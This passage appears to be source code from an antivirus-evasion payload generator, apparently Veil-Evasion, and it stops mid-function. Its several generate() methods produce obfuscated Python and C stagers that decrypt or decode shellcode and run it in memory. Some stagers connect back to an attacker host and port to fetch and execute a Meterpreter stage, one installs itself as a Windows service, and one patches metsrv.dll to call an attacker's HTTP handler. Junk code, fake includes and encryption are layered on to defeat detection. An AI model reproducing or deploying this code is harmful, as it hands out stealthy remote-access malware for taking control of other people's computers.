EncShellCode.encode("string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = ' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\')\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = crypters.pyherion(PayloadCode) return PayloadCode
def generate(self): winsock_init_name = randomizer.randomString() punt_name = randomizer.randomString() recv_all_name = randomizer.randomString() wsconnect_name = randomizer.randomString() # the real includes needed includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>"] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(1,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = randomizer.randomString() # reverse() randName2 = randomizer.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2)) ] random.shuffle(stringModFunctions) # obsufcation - "logical nop" string generation functions randString1 = randomizer.randomString(50) randName1 = randomizer.randomString() randVar1 = randomizer.randomString() randName2 = randomizer.randomString() randVar2 = randomizer.randomString() randVar3 = randomizer.randomString() randName3 = randomizer.randomString() randVar4 = randomizer.randomString() randVar5 = randomizer.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])), (randName2, "char* %s(){ char %s[%s/2], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, randomizer.randomString(50), randVar3, randomizer.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, randomizer.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>"] t = random.randint(1,7) for x in xrange(1, random.randint(1,7)): includes.append(fake_includes[x]) # obsufcation - shuffle up our real and fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" # real - service related headers (check the stub) hStatusName = randomizer.randomString() serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] random.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) # obsufcation - string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # real - build the winsock_init function wVersionRequested_name = randomizer.randomString() wsaData_name = randomizer.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4),helpers.obfuscateNum(2,4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # real - build punt function my_socket_name = randomizer.randomString() code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) code += "closesocket(%s);" %(my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # obsufcation - second logical nop string function code += stringGenFunctions[1][1] + "\n" # real - build recv_all function my_socket_name = randomizer.randomString() buffer_name = randomizer.randomString() len_name = randomizer.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" %(buffer_name) code += "while (rcAmwSVM < %s) {" %(len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) # obsufcation - third logical nop string function code += stringGenFunctions[2][1] + "\n" # real - build wsconnect function target_name = randomizer.randomString() sock_name = randomizer.randomString() my_socket_name = randomizer.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" %(sock_name) code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" %(my_socket_name) # real - main() method for the service code serviceName = randomizer.randomString() code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" %(serviceName), "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", "ServiceTable[1].lpServiceName = NULL;", "ServiceTable[1].lpServiceProc = NULL;"] random.shuffle(serviceTableEntries) code += "\n".join(serviceTableEntries) code += "StartServiceCtrlDispatcher(ServiceTable);}\n" # real - service status options for us to shuffle serviceStatusOptions = ["ServiceStatus.dwWin32ExitCode = 0;", "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", "ServiceStatus.dwWaitHint = 0;", "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", "ServiceStatus.dwServiceSpecificExitCode = 0;", "ServiceStatus.dwCheckPoint = 0;", "ServiceStatus.dwServiceType = SERVICE_WIN32;"] random.shuffle(serviceStatusOptions) # real - serviceMain() code code += "void ServiceMain(int argc, char** argv) {\n" code += "\n".join(serviceStatusOptions) code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" %(hStatusName, serviceName) code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" %(hStatusName) code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" code += "SetServiceStatus (%s, &ServiceStatus);" %(hStatusName) code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" # obsufcation - random variable names size_name = randomizer.randomString() buffer_name = randomizer.randomString() function_name = randomizer.randomString() my_socket_name = randomizer.randomString() count_name = randomizer.randomString() # obsufcation - necessary declarations char_array_name_1 = randomizer.randomString() number_of_strings_1 = random.randint(1,max_num_strings) char_array_name_2 = randomizer.randomString() number_of_strings_2 = random.randint(1,max_num_strings) char_array_name_3 = randomizer.randomString() number_of_strings_3 = random.randint(1,max_num_strings) # real - necessary declarations code += "ULONG32 %s;" %(size_name) code += "char * %s;" %(buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" %(function_name) # obsufcation - malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) code += "%s();" %(winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) # obsufcation - malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) # real - receive the 4 byte size from the handler code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, helpers.obfuscateNum(4,2)) # real - punt the socket if something goes wrong code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) # real - virtual alloc space for the meterpreter .dll code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, helpers.obfuscateNum(5,2)) # obsufcation - declare space for our 3 string obfuscation array code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # obsufcation - first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real - check if the buffer received is null, if so punt the socket code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) # real - prepend some buffer magic to push the socket number onto the stack code += "%s[0] = 0xBF;" %(buffer_name) # real- copy the 4 magic bytes into the buffer code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, helpers.obfuscateNum(4,2)) # obsufcation - malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) # obsufcation - second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real - receive all data from the socket code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, helpers.obfuscateNum(5,2), size_name) code += "%s = (void (*)())%s;" %(function_name, buffer_name) code += "%s();" %(function_name) # obsufcation - third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "} return; }\n" # service control handler code code += """void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; default: break; } SetServiceStatus (%s, &ServiceStatus); return; } """ %(hStatusName, hStatusName, hStatusName) return code
def generate(self): winsock_init_name = randomizer.randomString() punt_name = randomizer.randomString() recv_all_name = randomizer.randomString() wsconnect_name = randomizer.randomString() # the real includes needed includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>"] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(1,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = randomizer.randomString() # reverse() randName2 = randomizer.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2)) ] random.shuffle(stringModFunctions) # obfuscation "logical nop" string generation functions randString1 = randomizer.randomString(50) randName1 = randomizer.randomString() randVar1 = randomizer.randomString() randName2 = randomizer.randomString() randVar2 = randomizer.randomString() randVar3 = randomizer.randomString() randName3 = randomizer.randomString() randVar4 = randomizer.randomString() randVar5 = randomizer.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])), (randName2, "char* %s(){ char %s[%s/2], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, randomizer.randomString(50), randVar3, randomizer.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, randomizer.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>"] t = random.randint(1,7) for x in xrange(1, random.randint(1,7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the winsock_init function wVersionRequested_name = randomizer.randomString() wsaData_name = randomizer.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = randomizer.randomString() code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) code += "closesocket(%s);" %(my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build recv_all function my_socket_name = randomizer.randomString() buffer_name = randomizer.randomString() len_name = randomizer.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" %(buffer_name) code += "while (rcAmwSVM < %s) {" %(len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function target_name = randomizer.randomString() sock_name = randomizer.randomString() my_socket_name = randomizer.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" %(sock_name) code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" %(my_socket_name) # build main() code size_name = randomizer.randomString() buffer_name = randomizer.randomString() function_name = randomizer.randomString() my_socket_name = randomizer.randomString() count_name = randomizer.randomString() # obfuscation stuff char_array_name_1 = randomizer.randomString() number_of_strings_1 = random.randint(1,max_num_strings) char_array_name_2 = randomizer.randomString() number_of_strings_2 = random.randint(1,max_num_strings) char_array_name_3 = randomizer.randomString() number_of_strings_3 = random.randint(1,max_num_strings) code += "int main(int argc, char * argv[]) {" code += "ShowWindow( GetConsoleWindow(), SW_HIDE );" code += "ULONG32 %s;" %(size_name) code += "char * %s;" %(buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" %(function_name) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) code += "%s();" %(winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, helpers.obfuscateNum(4,2)) code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, helpers.obfuscateNum(5,2)) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real code code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) code += "%s[0] = 0xBF;" %(buffer_name) code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, helpers.obfuscateNum(4,2)) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real code code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, helpers.obfuscateNum(5,2), size_name) code += "%s = (void (*)())%s;" %(function_name, buffer_name) code += "%s();" %(function_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "return 0;}\n" return code
def generate(self): metsrvPath = veil.METASPLOIT_PATH + "/data/meterpreter/metsrv.dll" f = open(metsrvPath, 'rb') meterpreterDll = f.read() f.close() # lambda function used for patching the metsvc.dll dllReplace = lambda dll,ind,s: dll[:ind] + s + dll[ind+len(s):] # patch the metsrv.dll header headerPatch = "\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81\xc3\x37" headerPatch += "\x15\x00\x00\xff\xd3\x89\xc3\x57\x68\x04\x00\x00\x00\x50\xff\xd0" headerPatch += "\x68\xe0\x1d\x2a\x0a\x68\x05\x00\x00\x00\x50\xff\xd3\x00\x00\x00" meterpreterDll = dllReplace(meterpreterDll,0,headerPatch) # patch in the default user agent string userAgentIndex = meterpreterDll.index("METERPRETER_UA\x00") userAgentString = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\x00" meterpreterDll = dllReplace(meterpreterDll,userAgentIndex,userAgentString) # turn off SSL sslIndex = meterpreterDll.index("METERPRETER_TRANSPORT_SSL") sslString = "METERPRETER_TRANSPORT_HTTP\x00" meterpreterDll = dllReplace(meterpreterDll,sslIndex,sslString) # replace the URL/port of the handler urlIndex = meterpreterDll.index("https://" + ("X" * 256)) urlString = "http://" + self.required_options['LHOST'][0] + ":" + str(self.required_options['LPORT'][0]) + "/" + self.genHTTPChecksum() + "_" + randomizer.randomString(16) + "/\x00" meterpreterDll = dllReplace(meterpreterDll,urlIndex,urlString) # replace the expiration timeout with the default value of 300 expirationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xb64be661)) expirationTimeout = struct.pack('<I', 604800) meterpreterDll = dllReplace(meterpreterDll,expirationTimeoutIndex,expirationTimeout) # replace the communication timeout with the default value of 300 communicationTimeoutIndex = meterpreterDll.index(struct.pack('<I', 0xaf79257f)) communicationTimeout = struct.pack('<I', 300) meterpreterDll = dllReplace(meterpreterDll,communicationTimeoutIndex,communicationTimeout) # compress/base64 encode the dll compressedDll = helpers.deflate(meterpreterDll) # actually build out the payload payloadCode = "" # doing void * cast payloadCode += "from ctypes import *\nimport base64,zlib\n" randInflateFuncName = randomizer.randomString() randb64stringName = randomizer.randomString() randVarName = randomizer.randomString() # deflate function payloadCode += "def "+randInflateFuncName+"("+randb64stringName+"):\n" payloadCode += "\t" + randVarName + " = base64.b64decode( "+randb64stringName+" )\n" payloadCode += "\treturn zlib.decompress( "+randVarName+" , -15)\n" randVarName = randomizer.randomString() randFuncName = randomizer.randomString() payloadCode += randVarName + " = " + randInflateFuncName + "(\"" + compressedDll + "\")\n" payloadCode += randFuncName + " = cast(" + randVarName + ", CFUNCTYPE(c_void_p))\n" payloadCode += randFuncName+"()\n" if self.required_options["use_encrypter"][0].lower() == "y": payloadCode = crypters.pyherion(payloadCode) return payloadCode
def generate(self): #Random letter substition variables hex_letters = "abcdef" non_hex_letters = "ghijklmnopqrstuvwyz" encode_with_this = random.choice(hex_letters) decode_with_this = random.choice(non_hex_letters) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names subbed_shellcode_variable_name = randomizer.randomString() shellcode_variable_name = randomizer.randomString() rand_ptr = randomizer.randomString() rand_buf = randomizer.randomString() rand_ht = randomizer.randomString() rand_decoded_letter = randomizer.randomString() rand_correct_letter = randomizer.randomString() rand_sub_scheme = randomizer.randomString() # Create Letter Substitution Scheme sub_scheme = string.maketrans(encode_with_this, decode_with_this) # Escaping Shellcode Shellcode = Shellcode.encode("string_escape") if self.required_options["inject_method"][0].lower() == "virtual": # Create Payload File payload_code = 'import ctypes\n' payload_code += 'from string import maketrans\n' payload_code += rand_decoded_letter + ' = "%s"\n' % decode_with_this payload_code += rand_correct_letter + ' = "%s"\n' % encode_with_this payload_code += rand_sub_scheme + ' = maketrans('+ rand_decoded_letter +', '+ rand_correct_letter + ')\n' payload_code += subbed_shellcode_variable_name + ' = \"'+ Shellcode.translate(sub_scheme) +'\"\n' payload_code += subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n' payload_code += shellcode_variable_name + ' = bytearray(' + subbed_shellcode_variable_name + '.decode(\"string_escape\"))\n' payload_code += rand_ptr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + shellcode_variable_name + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' payload_code += rand_buf + ' = (ctypes.c_char * len(' + shellcode_variable_name + ')).from_buffer(' + shellcode_variable_name + ')\n' payload_code += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + rand_ptr + '),' + rand_buf + ',ctypes.c_int(len(' + shellcode_variable_name + ')))\n' payload_code += rand_ht + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + rand_ptr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' payload_code += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + rand_ht + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": payload_code = crypters.pyherion(payload_code) return payload_code else: #Additional random variable names rand_reverse_shell = randomizer.randomString() rand_memory_shell = randomizer.randomString() rand_shellcode = randomizer.randomString() # Create Payload File payload_code = 'from ctypes import *\n' payload_code += 'from string import maketrans\n' payload_code += rand_decoded_letter + ' = "%s"\n' % decode_with_this payload_code += rand_correct_letter + ' = "%s"\n' % encode_with_this payload_code += rand_sub_scheme + ' = maketrans('+ rand_decoded_letter +', '+ rand_correct_letter + ')\n' payload_code += subbed_shellcode_variable_name + ' = \"'+ Shellcode.translate(sub_scheme) +'\"\n' payload_code += subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.translate(' + rand_sub_scheme + ')\n' payload_code += subbed_shellcode_variable_name + ' = ' + subbed_shellcode_variable_name + '.decode(\"string_escape\")\n' payload_code += rand_memory_shell + ' = create_string_buffer(' + subbed_shellcode_variable_name + ', len(' + subbed_shellcode_variable_name + '))\n' payload_code += rand_shellcode + ' = cast(' + rand_memory_shell + ', CFUNCTYPE(c_void_p))\n' payload_code += rand_shellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": payload_code = crypters.pyherion(payload_code) return payload_code
def generate(self): winsock_init_name = randomizer.randomString() punt_name = randomizer.randomString() recv_all_name = randomizer.randomString() wsconnect_name = randomizer.randomString() # the real includes needed includes = [ "#include <stdio.h>", "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>" ] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(1, global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = randomizer.randomString() # reverse() randName2 = randomizer.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" % (randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" % (randName2)) ] random.shuffle(stringModFunctions) # obfuscation "logical nop" string generation functions randString1 = randomizer.randomString(50) randName1 = randomizer.randomString() randVar1 = randomizer.randomString() randName2 = randomizer.randomString() randVar2 = randomizer.randomString() randVar3 = randomizer.randomString() randName3 = randomizer.randomString() randVar4 = randomizer.randomString() randVar5 = randomizer.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" % (randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1) / 2])), (randName2, "char* %s(){ char %s[%s/2], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, randomizer.randomString(50), randVar3, randomizer.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, randomizer.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = [ "#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>" ] t = random.randint(1, 7) for x in xrange(1, random.randint(1, 7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the winsock_init function wVersionRequested_name = randomizer.randomString() wsaData_name = randomizer.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % ( wVersionRequested_name, helpers.obfuscateNum( 2, 4), helpers.obfuscateNum(2, 4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" % ( wVersionRequested_name, wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = randomizer.randomString() code += "void %s(SOCKET %s) {" % (punt_name, my_socket_name) code += "closesocket(%s);" % (my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build recv_all function my_socket_name = randomizer.randomString() buffer_name = randomizer.randomString() len_name = randomizer.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" % ( recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" % (buffer_name) code += "while (rcAmwSVM < %s) {" % (len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" % ( my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" % ( punt_name, my_socket_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function target_name = randomizer.randomString() sock_name = randomizer.randomString() my_socket_name = randomizer.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % ( wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" % (my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" % ( my_socket_name, punt_name, my_socket_name) code += "%s = gethostbyname(\"%s\");" % ( target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" % (target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" % ( sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" % (sock_name) code += "%s.sin_port = htons(%s);" % ( sock_name, 